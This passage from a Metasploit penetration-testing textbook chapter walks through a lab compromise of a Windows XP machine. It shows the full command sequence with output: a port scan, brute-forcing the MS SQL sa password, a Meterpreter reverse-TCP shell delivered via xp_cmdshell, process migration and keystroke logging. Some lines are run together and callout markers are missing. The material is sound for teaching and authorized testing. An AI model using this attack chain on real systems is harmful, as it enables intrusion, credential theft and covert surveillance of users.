In this chapter, we’ll dive deeper into this “hacker’s Swiss army knife” that can significantly improve your post exploitation experience. Meterpreter is one of the flagship products in Metasploit and is leveraged as a payload after a vulnerability is exploited. A payload is the information returned to us when we trigger an exploit. For example, when we exploit a weakness in a Remote Procedure Call (RPC), trigger the exploit, and select Meterpreter as the payload, we would be given a Meterpreter shell to the system. Meterpreter is an extension of the Metasploit Framework that allows us to leverage Metasploit’s functionality and further compromise our target. Some of this functionality includes ways to cover your tracks, reside purely in memory, dump hashes, access operating systems, pivot, and much more.
In this chapter, we’ll leverage normal attack methods within Metasploit to compromise a Windows XP machine. Our payload, Meterpreter, will allow us to perform additional attacks after we’ve compromised the system.
Before we dive into the specifics of Meterpreter, we first need to compromise a system and get a Meterpreter shell.
We begin by identifying the services and ports running on the target by conducting a port scan with nmap to find a port to exploit, as shown here:
msf >nmap -sT -A -P0 192.168.33.130[*] exec: nmap -sT -A -P0 192.168.33.130
. . . SNIP. . .PORT STATE SERVICE VERSION 21/tcp openftp Microsoft ftpd25/tcp open
smtp Microsoft ESMTP 6.0.2600.218080/tcp open
http Microsoft IIS webserver 5.1|_html-title: Directory Listing Denied 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 1433/tcp open
ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM6646/tcp open unknown MAC Address: 00:0C:29:EA:26:7C (VMware) Device type: general purpose Running: Microsoft Windows XP|2003 OS details: Microsoft Windows XP Professional SP2
or Windows Server 2003
. . . SNIP . . .Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds msf >
After conducting our port scan at , we see that some interesting ports are accessible, including MS SQL at , a potential attack vector. But perhaps the most interesting thing that nmap tells us is that this machine is running Windows XP Service Pack 2 at, which is now at the end of life, which means some published vulnerabilities will not have been fixed or patched by the installation of SP3.
Also of note, we see the standard FTP and SMTP ports, which might be available to be leveraged for an attack. And we see that port 80 is open, which means we have a potential web application to attack.
In this example, we’ll attack port 1433, MS SQL, because this is often an entry point of weakness that can lead to a complete compromise and full administrative-level control over the target.
To begin, we identify the MS SQL installation, and then launch a MS SQL Server brute force attack to see if we can guess a password. By default, MS SQL is installed on TCP port 1433 and UDP port 1434, though newer versions allow for installation on a dynamically allocated port, which can be randomized. Luckily, port 1434 UDP (for which we did not scan) remains the same and can be queried to identify the dynamic port of the SQL server.
Here, we scan the system and see that MS SQL port 1434 UDP is open:
msf >nmap -sU 192.168.33.130 -p1434
As you can see, we scan our host at and see that MS SQL UDP port 1434 at is open. (Chapter 11, Chapter 13, and Chapter 17 will cover MS SQL in much more depth.)
When targeting MS SQL, we can leverage the mssql_ping module to brute force the MS SQL port and attempt to guess the username and password. When MS SQL is first installed, the program will require the user to create an sa, or system administrator, account. You’ll often be able to guess or brute force the sa account password, because when administrators install this application they do not understand the security ramifications of using either a blank password or something too simple.
In the next example, we look for the mssql_ping module and attempt to brute force the sa account:
msf >use scanner/mssql/mssql_pingmsf auxiliary(mssql_ping) >show optionsModule options: Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads USERNAME sa no The username to authenticate as msf auxiliary(mssql_ping) >set RHOSTS 192.168.33.1/24RHOSTS => 192.168.33.1/24 msf auxiliary(mssql_ping) >set THREADS 20THREADS => 20 msf auxiliary(mssql_ping) >exploit[*] Scanned 040 of 256 hosts (015% complete) [*] Scanned 052 of 256 hosts (020% complete) [*] Scanned 080 of 256 hosts (031% complete) [*] Scanned 115 of 256 hosts (044% complete) [*] SQL Server information for 192.168.33.130:
After calling the mssql_ping module with use scanner/mssql/mssql_ping and setting our options, we see that a SQL Server installation is found at 192.168.33.130 . The name of the server is IHAZSECURITY . Its version number 9.00.1399.06 shown at equates to SQL Server 2005 Express, and we know that it’s listening on TCP port 1433 .
Next, we brute force the server with the Framework’s mssql_login module:
msf >use scanner/mssql/mssql_loginshow optionsModule options: Name Current Setting Required Description ---- --------------- -------- ----------- BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no The password for the specified username PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port THREADS 1 yes The number of concurrent threads USERNAME sa no The username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(mssql_login) >set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txtset RHOSTS 192.168.33.130RHOSTS => 192.168.33.130 msf auxiliary(mssql_login) >set THREADS 10THREADS => 10 msf auxiliary(mssql_login) >set verbose falseverbose => false msf auxiliary(mssql_login) >exploit[+] 192.168.33.130:1433 - MSSQL - successful login 'sa' :'password123'
We select the mssql_login module at and point it to the default password word list from Fast-Track at . (We discuss Fast-Track in more detail in Chapter 11.) At , we have successfully guessed the sa password: password123.
Note
Fast-Track is a tool created by one of the authors of this book that leverages multiple attacks, exploits, and the Metasploit Framework for payload delivery. One of Fast-Track’s features is its ability to use a brute-forcer to attack and compromise MS SQL automatically.
By running MS SQL from the sa account, we can execute the stored procedure xp_cmdshell, which lets us interact with the underlying operating system and execute commands. The xp_cmdshell is a built-in stored procedure that ships by default with SQL Server. You can call this stored procedure and have it query and execute underlying operating system calls directly with MS SQL. Think of it as a kind of superuser command prompt that allows you to run anything you want on the operating system. When we gain access to the sa account, we find that the MS SQL server is generally running with SYSTEM-level permissions, which allows us full access as an administrator to both MS SQL and the machine itself.
To get a payload onto the system, we’ll interact with the xp_cmdshell, add a local administrator, and deliver the payload through an executable. David Kennedy and Joshua Drake (jduck), have written a module (mssql_payload) that can be used to deliver any Metasploit payload through xp_cmdshell:
msf >use windows/mssql/mssql_payloadshow optionsModule options: Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOST yes The target address RPORT 1433 yes The target port USERNAME sa no The username to authenticate as UseCmdStager true no Wait for user input before returning from exploit VERBOSE false no Enable verbose output Exploit target: Id Name -- ---- 0 Automatic msf exploit(mssql_payload) >set payload windows/meterpreter/reverse_tcpset LHOST 192.168.33.129LHOST => 192.168.33.129 msf exploit(mssql_payload) >set LPORT 443LPORT => 443 msf exploit(mssql_payload) >set RHOST 192.168.33.130RHOST => 192.168.33.130 msf exploit(mssql_payload) >set PASSWORD password123PASSWORD => password123 msf exploit(mssql_payload) >exploit[*] Started reverse handler on 192.168.33.129:443 [*] Command Stager progress - 2.78% done (1494/53679 bytes) [*] Command Stager progress - 5.57% done (2988/53679 bytes) [*] Command Stager progress - 8.35% done (4482/53679 bytes). . . SNIP . . .[*] Command Stager progress - 97.32% done (52239/53679 bytes) [*] Sending stage (748032 bytes) [*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1699) meterpreter >
After selecting the mssql_payload module and setting our payload to meterpreter at , all we need to do is set the standard options before starting our Meterpreter session. We’ve succeeded in opening a Meterpreter session at on the target machine.
To recap, in the attack described here, we used the mssql_ping module to guess the MS SQL sa password, which we discovered is password123. We then leveraged the mssql_payload module to communicate with MS SQL and upload a Meterpreter shell through MS SQL, and the shell was presented to us, thereby completely compromising the system. Once the Meterpreter shell is presented, we know that the exploit was successful and we can continue with post exploitation on this system.
Having successfully compromised the target and gained a Meterpreter console on the system, we can glean more information with some basic Meterpreter commands. Use the help command at any point for more information on how to use Meterpreter.
Meterpreter’s screenshot command will export an image of the active user’s desktop and save it to the /opt/metasploit3/msf3/ directory, as shown in Figure 6-1.
meterpreter > screenshot
Screenshot saved to: /opt/metasploit3/msf3/yVHXaZar.jpegDesktop screen captures offer a great way to learn about a target system. For example, in Figure 6-1, we can see that McAfee antivirus software is installed and running, which means we’ll need to be cautious about what we upload to the system. (Chapter 7 discusses antivirus evasion in more detail.)
Another command we can specify is sysinfo, which will tell us the platform on which the system is running, as shown here:
meterpreter > sysinfo
Computer: IHAZSECURITY
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_USAs you can see, this system is running Windows XP Service Pack 2. Because SP2 is end of life, we can assume that we can find a ton of holes on this system.
Now we’ll grab the password hash values from this system, which can either be cracked or used in an attack. We’ll also start keystroke logging (recording keystrokes) on the remote system. But first, let’s list the running processes on the target system with the ps command.
meterpreter >ps. . . SNIP . . .1476 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\ system32\spoolsv.exe 1668 explorer.exe. . . SNIP . . .4032 notepad.exe x86 0 IHAZSECURITY\Administrator C:\WINDOWS\ system32\notepad.exe meterpreter >migrate 1668run post/windows/capture/keylog_recordercat /root/.msf3/loot/20110324171334_default_192.168.1.195_host.windows.key_179703.txt
Executing ps at provides a list of running processes, including explorer.exe . At we issue the migrate command to move our session into the explorer.exe process space. Once that move is complete, we start the keylog_recorder module at , stopping it after some time with ctrl-C, and finally, at , in another terminal window, we dump the contents of the keystroke logger to see what we’ve caught.